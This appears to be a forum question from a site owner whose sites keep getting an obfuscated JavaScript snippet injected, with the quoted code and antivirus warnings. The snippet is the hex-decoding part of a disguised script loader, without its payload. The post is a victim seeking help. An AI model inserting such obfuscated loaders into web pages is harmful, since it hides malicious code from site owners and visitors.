Javascript "virus"

I have a problem with some JS virus on all my sites. They are located on different hosts, and on some of them this code appears.

<script>
function c2670903e0i49d9f1a845f6b(i49d9f1a846377) {
    var i49d9f1a846737 = 16;
    return (parseInt(i49d9f1a846377, i49d9f1a846737));
}
function i49d9f1a8472f3(i49d9f1a8476d9) {
    var i49d9f1a848679 = 2;
    var i49d9f1a847da9 = '';
    i49d9f1a848e47 = String.fromCharCode;
    for (i49d9f1a84828e = 0; i49d9f1a84828e < i49d9f1a8476d9.length; i49d9f1a84828e += i49d9f1a848679) {
        i49d9f1a847da9 += (i49d9f1a848e47(c2670903e0i49d9f1a845f6b(i49d9f1a8476d9.substr(i49d9f1a84828e, i49d9f1a848679))));
    }
    return i49d9f1a847da9;
}

</script>

NOD32 blocks the site because it believes that there is a virus. Removing code from sources does not help, because it reappears again. This cannot be the result of XSS because it appears even on static websites.

I tried to do a full check of my system, and that didn't help. The only thing on all websites is Google Analytics, which, I think, could not do this.
